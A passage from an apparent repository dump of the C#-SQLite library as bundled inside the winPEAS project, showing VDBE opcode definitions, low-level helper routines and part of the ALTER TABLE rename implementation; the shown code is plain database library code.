pVdbeFunc;   /* Used when p4type is P4_VDBEFUNC */\n      public CollSeq pColl;        /* Used when p4type is P4_COLLSEQ */\n      public Mem pMem;             /* Used when p4type is P4_MEM */\n      public VTable pVtab;         /* Used when p4type is P4_VTAB */\n      public KeyInfo pKeyInfo;     /* Used when p4type is P4_KEYINFO */\n      public int[] ai;             /* Used when p4type is P4_INTARRAY */\n      public dxDel pFuncDel;       /* Used when p4type is P4_FUNCDEL */\n    } ;\n    public class VdbeOp\n    {\n      public u8 opcode;           /* What operation to perform */\n      public int p4type;          /* One of the P4_xxx constants for p4 */\n      public u8 opflags;          /* Not currently used */\n      public u8 p5;               /* Fifth parameter is an unsigned character */\n#if DEBUG_CLASS_VDBEOP || DEBUG_CLASS_ALL\npublic int _p1;              /* First operand */\npublic int p1\n{\nget { return _p1; }\nset { _p1 = value; }\n}\n\npublic int _p2;              /* Second parameter (often the jump destination) */\npublic int p2\n{\nget { return _p2; }\nset { _p2 = value; }\n}\n\npublic int _p3;              /* The third parameter */\npublic int p3\n{\nget { return _p3; }\nset { _p3 = value; }\n}\n#else\n      public int p1;              /* First operand */\n      public int p2;              /* Second parameter (often the jump destination) */\n      public int p3;              /* The third parameter */\n#endif\n      public union_p4 p4 = new union_p4();\n#if SQLITE_DEBUG || DEBUG\n      public string zComment;     /* Comment to improve readability */\n#endif\n#if VDBE_PROFILE\npublic int cnt;             /* Number of times this instruction was executed */\npublic u64 cycles;         /* Total time spend executing this instruction */\n#endif\n    };\n    //typedef struct VdbeOp VdbeOp;\n\n    /*\n    ** A smaller version of VdbeOp used for the VdbeAddOpList() function because\n    ** it takes up less space.\n    */\n    public struct VdbeOpList\n    {\n      public u8 opcode;  /* What operation to perform */\n      public int p1;     /* First operand */\n      public int p2;     /* Second parameter (often the jump destination) */\n      public int p3;     /* Third parameter */\n      public VdbeOpList( u8 opcode, int p1, int p2, int p3 )\n      {\n        this.opcode = opcode;\n        this.p1 = p1;\n        this.p2 = p2;\n        this.p3 = p3;\n      }\n\n    };\n    //typedef struct VdbeOpList VdbeOpList;\n\n    /*\n    ** Allowed values of VdbeOp.p3type\n    */\n    const int P4_NOTUSED = 0;   /* The P4 parameter is not used */\n    const int P4_DYNAMIC = ( -1 );  /* Pointer to a string obtained from sqliteMalloc=(); */\n    const int P4_STATIC = ( -2 );  /* Pointer to a static string */\n    const int P4_COLLSEQ = ( -4 );  /* P4 is a pointer to a CollSeq structure */\n    const int P4_FUNCDEF = ( -5 );  /* P4 is a pointer to a FuncDef structure */\n    const int P4_KEYINFO = ( -6 );  /* P4 is a pointer to a KeyInfo structure */\n    const int P4_VDBEFUNC = ( -7 );  /* P4 is a pointer to a VdbeFunc structure */\n    const int P4_MEM = ( -8 );  /* P4 is a pointer to a Mem*    structure */\n    const int P4_TRANSIENT = ( -9 ); /* P4 is a pointer to a transient string */\n    const int P4_VTAB = ( -10 ); /* P4 is a pointer to an sqlite3_vtab structure */\n    const int P4_MPRINTF = ( -11 ); /* P4 is a string obtained from sqlite3_mprintf=(); */\n    const int P4_REAL = ( -12 ); /* P4 is a 64-bit floating point value */\n    const int P4_INT64 = ( -13 ); /* P4 is a 64-bit signed integer */\n    const int P4_INT32 = ( -14 ); /* P4 is a 32-bit signed integer */\n    const int P4_INTARRAY = ( -15 ); /* #define P4_INTARRAY (-15) /* P4 is a vector of 32-bit integers */\n\n    /* When adding a P4 argument using P4_KEYINFO, a copy of the KeyInfo structure\n    ** is made.  That copy is freed when the Vdbe is finalized.  But if the\n    ** argument is P4_KEYINFO_HANDOFF, the passed in pointer is used.  It still\n    ** gets freed when the Vdbe is finalized so it still should be obtained\n    ** from a single sqliteMalloc().  But no copy is made and the calling\n    ** function should *not* try to free the KeyInfo.\n    */\n    const int P4_KEYINFO_HANDOFF = ( -16 );  // #define P4_KEYINFO_HANDOFF (-16)\n    const int P4_KEYINFO_STATIC = ( -17 );   // #define P4_KEYINFO_STATIC  (-17)\n\n    /*\n    ** The Vdbe.aColName array contains 5n Mem structures, where n is the\n    ** number of columns of data returned by the statement.\n    */\n    //#define COLNAME_NAME     0\n    //#define COLNAME_DECLTYPE 1\n    //#define COLNAME_DATABASE 2\n    //#define COLNAME_TABLE    3\n    //#define COLNAME_COLUMN   4\n    //#if SQLITE_ENABLE_COLUMN_METADATA\n    //# define COLNAME_N        5      /* Number of COLNAME_xxx symbols */\n    //#else\n    //# ifdef SQLITE_OMIT_DECLTYPE\n    //#   define COLNAME_N      1      /* Store only the name */\n    //# else\n    //#   define COLNAME_N      2      /* Store the name and decltype */\n    //# endif\n    //#endif\n    const int COLNAME_NAME = 0;\n    const int COLNAME_DECLTYPE = 1;\n    const int COLNAME_DATABASE = 2;\n    const int COLNAME_TABLE = 3;\n    const int COLNAME_COLUMN = 4;\n#if SQLITE_ENABLE_COLUMN_METADATA\nconst int COLNAME_N = 5;     /* Number of COLNAME_xxx symbols */\n#else\n# if SQLITE_OMIT_DECLTYPE\nconst int COLNAME_N = 1;     /* Number of COLNAME_xxx symbols */\n# else\n    const int COLNAME_N = 2;\n# endif\n#endif\n\n    /*\n** The following macro converts a relative address in the p2 field\n** of a VdbeOp structure into a negative number so that\n** sqlite3VdbeAddOpList() knows that the address is relative.  Calling\n** the macro again restores the address.\n*/\n    //#define ADDR(X)  (-1-(X))\n    static int ADDR( int x ) { return -1 - x; }\n    /*\n    ** The makefile scans the vdbe.c source file and creates the \"opcodes.h\"\n    ** header file that defines a number for each opcode used by the VDBE.\n    */\n    //#include \"opcodes.h\"\n\n    /*\n    ** Prototypes for the VDBE interface.  See comments on the implementation\n    ** for a description of what each of these routines does.\n    */\n    /*\n    ** Prototypes for the VDBE interface.  See comments on the implementation\n    ** for a description of what each of these routines does.\n    */\n    //Vdbe *sqlite3VdbeCreate(sqlite3*);\n    //int sqlite3VdbeAddOp0(Vdbe*,int);\n    //int sqlite3VdbeAddOp1(Vdbe*,int,int);\n    //int sqlite3VdbeAddOp2(Vdbe*,int,int,int);\n    //int sqlite3VdbeAddOp3(Vdbe*,int,int,int,int);\n    //int sqlite3VdbeAddOp4(Vdbe*,int,int,int,int,const char *zP4,int);\n    //int sqlite3VdbeAddOpList(Vdbe*, int nOp, VdbeOpList const *aOp);\n    //void sqlite3VdbeChangeP1(Vdbe*, int addr, int P1);\n    //void sqlite3VdbeChangeP2(Vdbe*, int addr, int P2);\n    //void sqlite3VdbeChangeP3(Vdbe*, int addr, int P3);\n    //void sqlite3VdbeChangeP5(Vdbe*, u8 P5);\n    //void sqlite3VdbeJumpHere(Vdbe*, int addr);\n    //void sqlite3VdbeChangeToNoop(Vdbe*, int addr, int N);\n    //void sqlite3VdbeChangeP4(Vdbe*, int addr, const char *zP4, int N);\n    //void sqlite3VdbeUsesBtree(Vdbe*, int);\n    //VdbeOp *sqlite3VdbeGetOp(Vdbe*, int);\n    //int sqlite3VdbeMakeLabel(Vdbe*);\n    //void sqlite3VdbeDelete(Vdbe*);\n    //void sqlite3VdbeMakeReady(Vdbe*,int,int,int,int);\n    //int sqlite3VdbeFinalize(Vdbe*);\n    //void sqlite3VdbeResolveLabel(Vdbe*, int);\n    //int sqlite3VdbeCurrentAddr(Vdbe*);\n    //#if SQLITE_DEBUG\n    //  void sqlite3VdbeTrace(Vdbe*,FILE*);\n    //#endif\n    //void sqlite3VdbeResetStepResult(Vdbe*);\n    //int sqlite3VdbeReset(Vdbe*);\n    //void sqlite3VdbeSetNumCols(Vdbe*,int);\n    //int sqlite3VdbeSetColName(Vdbe*, int, int, const char *, void(*)(void*));\n    //void sqlite3VdbeCountChanges(Vdbe*);\n    //sqlite3 *sqlite3VdbeDb(Vdbe*);\n    //void sqlite3VdbeSetSql(Vdbe*, const char *z, int n, int);\n    //void sqlite3VdbeSwap(Vdbe*,Vdbe*);\n\n#if SQLITE_ENABLE_MEMORY_MANAGEMENT\n//int sqlite3VdbeReleaseMemory(int);\n#endif\n    //UnpackedRecord *sqlite3VdbeRecordUnpack(KeyInfo*,int,const void*,char*,int);\n    //void sqlite3VdbeDeleteUnpackedRecord(UnpackedRecord*);\n    //int sqlite3VdbeRecordCompare(int,const void*,UnpackedRecord*);\n\n\n#if !NDEBUG\n    //void sqlite3VdbeComment(Vdbe*, const char*, ...);\n    static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeComment( v, zFormat, ap ); }//# define VdbeComment(X)  sqlite3VdbeComment X\n    //void sqlite3VdbeNoopComment(Vdbe*, const char*, ...);\n    static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeNoopComment( v, zFormat, ap ); }//# define VdbeNoopComment(X)  sqlite3VdbeNoopComment X\n#else\n//# define VdbeComment(X)\nstatic void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { }\n//# define VdbeNoopComment(X)\nstatic void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { }\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/_Custom.cs",
    "content": "    /*\n    *************************************************************************\n    **  $Header$\n    *************************************************************************\n    */\n\n    using System;\n    using System.Diagnostics;\n    using System.IO;\n    using System.Management;\n    using System.Runtime.InteropServices;\n    using System.Text;\n    using i64 = System.Int64;\n    using u32 = System.UInt32;\n    using time_t = System.Int64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n\n    static int atoi( byte[] inStr )\n    { return atoi( Encoding.UTF8.GetString( inStr ) ); }\n\n    static int atoi( string inStr )\n    {\n      int i;\n      for ( i = 0 ; i < inStr.Length ; i++ )\n      {\n        if ( !sqlite3Isdigit( inStr[i] ) && inStr[i] != '-' ) break;\n      }\n      int result = 0;\n\n      return ( Int32.TryParse( inStr.Substring( 0, i ), out result ) ? result : 0 );\n    }\n\n    static void fprintf( TextWriter tw, string zFormat, params object[] ap ) { tw.Write( sqlite3_mprintf( zFormat, ap ) ); }\n    static void printf( string zFormat, params object[] ap ) { Console.Out.Write( sqlite3_mprintf( zFormat, ap ) ); }\n\n\n    //Byte Buffer Testing\n\n    static int memcmp( byte[] bA, byte[] bB, int Limit )\n    {\n      if ( bA.Length < Limit ) return ( bA.Length < bB.Length ) ? -1 : +1;\n      if ( bB.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( bA[i] != bB[i] ) return ( bA[i] < bB[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    //Byte Buffer  & String Testing\n    static int memcmp( byte[] bA, string B, int Limit )\n    {\n      if ( bA.Length < Limit ) return ( bA.Length < B.Length ) ? -1 : +1;\n      if ( B.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( bA[i] != B[i] ) return ( bA[i] < B[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    //Byte Buffer  & String Testing\n    static int memcmp( string A, byte[] bB, int Limit )\n    {\n      if ( A.Length < Limit ) return ( A.Length < bB.Length ) ? -1 : +1;\n      if ( bB.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( A[i] != bB[i] ) return ( A[i] < bB[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    //String with Offset & String Testing\n    static int memcmp( byte[] a, int Offset, byte[] b, int Limit )\n    {\n      if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1;\n      if ( b.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    static int memcmp( string a, int Offset, byte[] b, int Limit )\n    {\n      if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1;\n      if ( b.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    static int memcmp( byte[] a, int Offset, string b, int Limit )\n    {\n      if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1;\n      if ( b.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n\n    //String Testing\n    static int memcmp( string A, string B, int Limit )\n    {\n      if ( A.Length < Limit ) return ( A.Length < B.Length ) ? -1 : +1;\n      if ( B.Length < Limit ) return +1;\n      for ( int i = 0 ; i < Limit ; i++ )\n      {\n        if ( A[i] != B[i] ) return ( A[i] < B[i] ) ? -1 : 1;\n      }\n      return 0;\n    }\n\n    // ----------------------------\n    // ** Convertion routines\n    // ----------------------------\n    static string vaFORMAT;\n    static int vaNEXT;\n\n    static void va_start( object[] ap, string zFormat )\n    {\n      vaFORMAT = zFormat;\n      vaNEXT = 0;\n    }\n\n    static object va_arg( object[] ap, string sysType )\n    {\n      vaNEXT += 1;\n      if ( ap == null || ap.Length == 0 )\n        return \"\";\n      switch ( sysType )\n      {\n        case \"double\":\n          return Convert.ToDouble( ap[vaNEXT - 1] );\n        case \"long\":\n        case \"long int\":\n        case \"longlong int\":\n        case \"i64\":\n          if ( ap[vaNEXT - 1].GetType().BaseType.Name == \"Object\" ) return (i64)( ap[vaNEXT - 1].GetHashCode() ); ;\n          return Convert.ToInt64( ap[vaNEXT - 1] );\n        case \"int\":\n          if ( Convert.ToInt64( ap[vaNEXT - 1] ) > 0 && ( Convert.ToUInt32( ap[vaNEXT - 1] ) > Int32.MaxValue ) ) return (Int32)( Convert.ToUInt32( ap[vaNEXT - 1] ) - System.UInt32.MaxValue - 1 );\n          else return (Int32)Convert.ToInt32( ap[vaNEXT - 1] );\n        case \"SrcList\":\n          return (SrcList)ap[vaNEXT - 1];\n        case \"char\":\n          if ( ap[vaNEXT - 1].GetType().Name == \"Int32\" && (int)ap[vaNEXT - 1] == 0 )\n          {\n            return (char)'0';\n          }\n          else\n          {\n            if ( ap[vaNEXT - 1].GetType().Name == \"Int64\" )\n              if ( (i64)ap[vaNEXT - 1] == 0 )\n              {\n                return (char)'0';\n              }\n              else return (char)( (i64)ap[vaNEXT - 1] );\n            else\n              return (char)ap[vaNEXT - 1];\n          }\n        case \"char*\":\n        case \"string\":\n          if ( ap[vaNEXT - 1] == null )\n          {\n            return \"NULL\";\n          }\n          else\n          {\n            if ( ap[vaNEXT - 1].GetType().Name == \"Byte[]\" )\n              if ( Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] ) == \"\\0\" )\n                return \"\";\n              else\n                return Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] );\n            else if ( ap[vaNEXT - 1].GetType().Name == \"Int32\" )\n              return null;\n            else if ( ap[vaNEXT - 1].GetType().Name == \"StringBuilder\" )\n              return (string)ap[vaNEXT - 1].ToString();\n            else return (string)ap[vaNEXT - 1];\n          }\n        case \"byte[]\":\n          if ( ap[vaNEXT - 1] == null )\n          {\n            return null;\n          }\n          else\n          {\n            return (byte[])ap[vaNEXT - 1];\n          }\n        case \"int[]\":\n          if ( ap[vaNEXT - 1] == null )\n          {\n            return \"NULL\";\n          }\n          else\n          {\n            return (int[])ap[vaNEXT - 1];\n          }\n        case \"Token\":\n          return (Token)ap[vaNEXT - 1];\n        case \"u3216\":\n          return Convert.ToUInt16( ap[vaNEXT - 1] );\n        case \"u32\":\n        case \"unsigned int\":\n          if ( ap[vaNEXT - 1].GetType().IsClass )\n          {\n            return ap[vaNEXT - 1].GetHashCode();\n          }\n          else\n          {\n            return Convert.ToUInt32( ap[vaNEXT - 1] );\n          }\n        case \"u64\":\n        case \"unsigned long\":\n        case \"unsigned long int\":\n          if ( ap[vaNEXT - 1].GetType().IsClass )\n            return Convert.ToUInt64( ap[vaNEXT - 1].GetHashCode() );\n          else\n            return Convert.ToUInt64( ap[vaNEXT - 1] );\n        case \"sqlite3_mem_methods\":\n          return (sqlite3_mem_methods)ap[vaNEXT - 1];\n        case \"void_function\":\n          return (void_function)ap[vaNEXT - 1];\n        case \"MemPage\":\n          return (MemPage)ap[vaNEXT - 1];\n        default:\n          Debugger.Break();\n          return ap[vaNEXT - 1];\n      }\n    }\n    static void va_end( object[] ap )\n    {\n      ap = null;\n      vaFORMAT = \"\";\n    }\n\n\n    public static tm localtime( time_t baseTime )\n    {\n      System.DateTime RefTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 );\n      RefTime = RefTime.AddSeconds( Convert.ToDouble( baseTime ) ).ToLocalTime();\n      tm tm = new tm();\n      tm.tm_sec = RefTime.Second;\n      tm.tm_min = RefTime.Minute;\n      tm.tm_hour = RefTime.Hour;\n      tm.tm_mday = RefTime.Day;\n      tm.tm_mon = RefTime.Month;\n      tm.tm_year = RefTime.Year;\n      tm.tm_wday = (int)RefTime.DayOfWeek;\n      tm.tm_yday = RefTime.DayOfYear;\n      tm.tm_isdst = RefTime.IsDaylightSavingTime() ? 1 : 0;\n      return tm;\n    }\n\n    public static long ToUnixtime( System.DateTime date )\n    {\n      System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 );\n      System.TimeSpan timeSpan = date - unixStartTime;\n      return Convert.ToInt64( timeSpan.TotalSeconds );\n    }\n\n    public static System.DateTime ToCSharpTime( long unixTime )\n    {\n      System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 );\n      return unixStartTime.AddSeconds( Convert.ToDouble( unixTime ) );\n    }\n\n    public struct tm\n    {\n      public int tm_sec;     /* seconds after the minute - [0,59] */\n      public int tm_min;     /* minutes after the hour - [0,59] */\n      public int tm_hour;    /* hours since midnight - [0,23] */\n      public int tm_mday;    /* day of the month - [1,31] */\n      public int tm_mon;     /* months since January - [0,11] */\n      public int tm_year;    /* years since 1900 */\n      public int tm_wday;    /* days since Sunday - [0,6] */\n      public int tm_yday;    /* days since January 1 - [0,365] */\n      public int tm_isdst;   /* daylight savings time flag */\n    };\n\n    public struct FILETIME\n    {\n      public u32 dwLowDateTime;\n      public u32 dwHighDateTime;\n    }\n\n    // Example (C#)\n    public static int GetbytesPerSector( StringBuilder diskPath )\n    {\n      ManagementObjectSearcher mosLogicalDisks = new ManagementObjectSearcher( \"select * from Win32_LogicalDisk where DeviceID = '\" + diskPath.ToString().Remove( diskPath.Length - 1, 1 ) + \"'\");\n      try\n      {\n        foreach ( ManagementObject moLogDisk in mosLogicalDisks.Get() )\n        {\n          ManagementObjectSearcher mosDiskDrives = new ManagementObjectSearcher( \"select * from Win32_DiskDrive where SystemName = '\" + moLogDisk[\"SystemName\"] + \"'\" );\n          foreach ( ManagementObject moPDisk in mosDiskDrives.Get() )\n          {\n            return int.Parse( moPDisk[\"BytesPerSector\"].ToString() );\n          }\n        }\n      }\n      catch { }\n      return 0;\n    }\n    \n    [DllImport( \"kernel32.dll\" )]\n    public static extern bool GetSystemTimeAsFileTime( ref FILETIME sysfiletime );\n\n    static void SWAP<T>( ref T A, ref T B ) { T t = A; A = B; B = t; }\n\n    static void x_CountStep(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      SumCtx p;\n\n      int type;\n      Debug.Assert( argc <= 1 );\n      Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p));\n      if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx();\n      p = pMem._SumCtx;\n      if ( p.Context == null ) p.Context = pMem;\n      if ( argc == 0 || SQLITE_NULL == sqlite3_value_type( argv[0] ) )\n      {\n        p.cnt++;\n        p.iSum += 1;\n      }\n      else\n      {\n        type = sqlite3_value_numeric_type( argv[0] );\n        if ( p != null && type != SQLITE_NULL )\n        {\n          p.cnt++;\n          if ( type == SQLITE_INTEGER )\n          {\n            i64 v = sqlite3_value_int64( argv[0] );\n            if ( v == 40 || v == 41 )\n            {\n              sqlite3_result_error( context, \"value of \" + v + \" handed to x_count\", -1 );\n              return;\n            }\n            else\n            {\n              p.iSum += v;\n              if ( !( p.approx | p.overflow != 0 ) )\n              {\n                i64 iNewSum = p.iSum + v;\n                int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) );\n                int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) );\n                int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) );\n                p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0;\n                p.iSum = iNewSum;\n              }\n            }\n          }\n          else\n          {\n            p.rSum += sqlite3_value_double( argv[0] );\n            p.approx = true;\n          }\n        }\n      }\n    }\n    static void x_CountFinalize( sqlite3_context context )\n    {\n      SumCtx p;\n      Mem pMem = sqlite3_aggregate_context( context, 0 );\n      p = pMem._SumCtx;\n      if ( p != null && p.cnt > 0 )\n      {\n        if ( p.overflow != 0 )\n        {\n          sqlite3_result_error( context, \"integer overflow\", -1 );\n        }\n        else if ( p.approx )\n        {\n          sqlite3_result_double( context, p.rSum );\n        }\n        else if ( p.iSum == 42 )\n        {\n          sqlite3_result_error( context, \"x_count totals to 42\", -1 );\n        }\n        else\n        {\n          sqlite3_result_int64( context, p.iSum );\n        }\n      }\n    }\n#if SQLITE_MUTEX_W32\n//---------------------WIN32 Definitions\nstatic int GetCurrentThreadId()\n{\nreturn Thread.CurrentThread.ManagedThreadId;\n}\nstatic long InterlockedIncrement(long location)\n{\nInterlocked.Increment(ref  location);\nreturn location;\n}\n\nstatic void EnterCriticalSection(Mutex mtx)\n{\nMonitor.Enter(mtx);\n}\nstatic void InitializeCriticalSection(Mutex mtx)\n{\nMonitor.Enter(mtx);\n}\nstatic void DeleteCriticalSection(Mutex mtx)\n{\nMonitor.Exit(mtx);\n}\nstatic void LeaveCriticalSection(Mutex mtx)\n{\nMonitor.Exit(mtx);\n}\n\n}\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/alter_c.cs",
    "content": "using System.Diagnostics;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2005 February 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that used to generate VDBE code\n    ** that implements the ALTER TABLE command.\n    **\n    ** $Id: alter.c,v 1.62 2009/07/24 17:58:53 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** The code in this file only exists if we are not omitting the\n    ** ALTER TABLE logic from the build.\n    */\n#if !SQLITE_OMIT_ALTERTABLE\n\n\n    /*\n** This function is used by SQL generated to implement the\n** ALTER TABLE command. The first argument is the text of a CREATE TABLE or\n** CREATE INDEX command. The second is a table name. The table name in\n** the CREATE TABLE or CREATE INDEX statement is replaced with the third\n** argument and the result returned. Examples:\n**\n** sqlite_rename_table('CREATE TABLE abc(a, b, c)', 'def')\n**     . 'CREATE TABLE def(a, b, c)'\n**\n** sqlite_rename_table('CREATE INDEX i ON abc(a)', 'def')\n**     . 'CREATE INDEX i ON def(a, b, c)'\n*/\n    static void renameTableFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      string bResult = sqlite3_value_text( argv[0] );\n      string zSql = bResult == null ? \"\" : bResult;\n      string zTableName = sqlite3_value_text( argv[1] );\n\n      int token = 0;\n      Token tname = new Token();\n      int zCsr = 0;\n      int zLoc = 0;\n      int len = 0;\n      string zRet;\n\n      sqlite3 db = sqlite3_context_db_handle( context );\n\n      UNUSED_PARAMETER( NotUsed );\n\n      /* The principle used to locate the table name in the CREATE TABLE\n      ** statement is that the table name is the first non-space token that\n      ** is immediately followed by a TK_LP or TK_USING token.\n      */\n      if ( zSql != \"\" )\n      {\n        do\n        {\n          if ( zCsr == zSql.Length )\n          {\n            /* Ran out of input before finding an opening bracket. Return NULL. */\n            return;\n          }\n\n          /* Store the token that zCsr points to in tname. */\n          zLoc = zCsr;\n          tname.z = zSql.Substring( zCsr );//(char*)zCsr;\n          tname.n = len;\n\n          /* Advance zCsr to the next token. Store that token type in 'token',\n          ** and its length in 'len' (to be used next iteration of this loop).\n          */\n          do\n          {\n            zCsr += len;\n            len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token );\n          } while ( token == TK_SPACE );\n          Debug.Assert( len > 0 );\n        } while ( token != TK_LP && token != TK_USING );\n\n        zRet = sqlite3MPrintf( db, \"%.*s\\\"%w\\\"%s\", zLoc, zSql.Substring( 0, zLoc ),\n        zTableName, zSql.Substring( zLoc + tname.n ) );\n\n        sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC );\n      }\n    }\n\n#if !SQLITE_OMIT_TRIGGER\n    /* This function is used by SQL generated to implement the\n** ALTER TABLE command. The first argument is the text of a CREATE TRIGGER\n** statement. The second is a table name. The table name in the CREATE\n** TRIGGER statement is replaced with the third argument and the result\n** returned. This is analagous to renameTableFunc() above, except for CREATE\n** TRIGGER, not CREATE INDEX and CREATE TABLE.\n*/\n    static void renameTriggerFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      string zSql = sqlite3_value_text( argv[0] );\n      string zTableName = sqlite3_value_text( argv[1] );\n\n      int token = 0;\n      Token tname = new Token();\n      int dist = 3;\n      int zCsr = 0;\n      int zLoc = 0;\n      int len = 1;\n      string zRet;\n\n      sqlite3 db = sqlite3_context_db_handle( context );\n\n      UNUSED_PARAMETER( NotUsed );\n\n      /* The principle used to locate the table name in the CREATE TRIGGER\n      ** statement is that the table name is the first token that is immediatedly\n      ** preceded by either TK_ON or TK_DOT and immediatedly followed by one\n      ** of TK_WHEN, TK_BEGIN or TK_FOR.\n      */\n      if ( zSql != null )\n      {\n        do\n        {\n\n          if ( zCsr == zSql.Length )\n          {\n            /* Ran out of input before finding the table name. Return NULL. */\n            return;\n          }\n\n          /* Store the token that zCsr points to in tname. */\n          zLoc = zCsr;\n          tname.z = zSql.Substring( zCsr, len );//(char*)zCsr;\n          tname.n = len;\n\n          /* Advance zCsr to the next token. Store that token type in 'token',\n          ** and its length in 'len' (to be used next iteration of this loop).\n          */\n          do\n          {\n            zCsr += len;\n            len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token );\n          } while ( token == TK_SPACE );\n          Debug.Assert( len > 0 );\n\n          /* Variable 'dist' stores the number of tokens read since the most\n          ** recent TK_DOT or TK_ON. This means that when a WHEN, FOR or BEGIN\n          ** token is read and 'dist' equals 2, the condition stated above\n          ** to be met.\n          **\n          ** Note that ON cannot be a database, table or column name, so\n          ** there is no need to worry about syntax like\n          ** \"CREATE TRIGGER ... ON ON.ON BEGIN ...\" etc.\n          */\n          dist++;\n          if ( token == TK_DOT || token == TK_ON )\n          {\n            dist = 0;\n          }\n        } while ( dist != 2 || ( token != TK_WHEN && token != TK_FOR && token != TK_BEGIN ) );\n\n        /* Variable tname now contains the token that is the old table-name\n        ** in the CREATE TRIGGER statement.\n        */\n        zRet = sqlite3MPrintf( db, \"%.*s\\\"%w\\\"%s\", zLoc, zSql.Substring( 0, zLoc ),\n        zTableName, zSql.Substring( zLoc + tname.n ) );\n        sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC );\n      }\n    }\n#endif // * !SQLITE_OMIT_TRIGGER */\n\n    /*\n** Register built-in functions used to help implement ALTER TABLE\n*/\n    static void sqlite3AlterFunctions( sqlite3 db )\n    {\n      sqlite3CreateFunc( db, \"sqlite_rename_table\", 2, SQLITE_UTF8, 0,\n      renameTableFunc, null, null );\n#if !SQLITE_OMIT_TRIGGER\n      sqlite3CreateFunc( db, \"sqlite_rename_trigger\", 2, SQLITE_UTF8, 0,\n      renameTriggerFunc, null, null );\n#endif\n    }\n\n    /*\n    ** Generate the text of a WHERE expression which can be used to select all\n    ** temporary triggers on table pTab from the sqlite_temp_master table. If\n    ** table pTab has no temporary triggers, or is itself stored in the\n    ** temporary database, NULL is returned.\n    */\n    static string whereTempTriggers( Parse pParse, Table pTab )\n    {\n      Trigger pTrig;\n      string zWhere = \"\";\n      string tmp = \"\";\n      Schema pTempSchema = pParse.db.aDb[1].pSchema; /* Temp db schema */\n\n      /* If the table is not located in the temp.db (in which case NULL is\n      ** returned, loop through the tables list of triggers. For each trigger\n      ** that is not part of the temp.db schema, add a clause to the WHERE\n      ** expression being built up in zWhere.\n      */\n      if ( pTab.pSchema != pTempSchema )\n      {\n        sqlite3 db = pParse.db;\n        for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext )\n        {\n          if ( pTrig.pSchema == pTempSchema )\n          {\n            if ( zWhere == \"\" )\n            {\n              zWhere = sqlite3MPrintf( db, \"name=%Q\", pTrig.name );\n            }\n            else\n            {\n              tmp = zWhere;\n              zWhere = sqlite3MPrintf( db, \"%s OR name=%Q\", zWhere, pTrig.name );\n              //sqlite3DbFree( db, ref tmp );\n            }\n          }\n        }\n      }\n      return zWhere;\n    }\n\n    /*\n    ** Generate code to drop and reload the internal representation of table\n    ** pTab from the database, including triggers and temporary triggers.\n    ** Argument zName 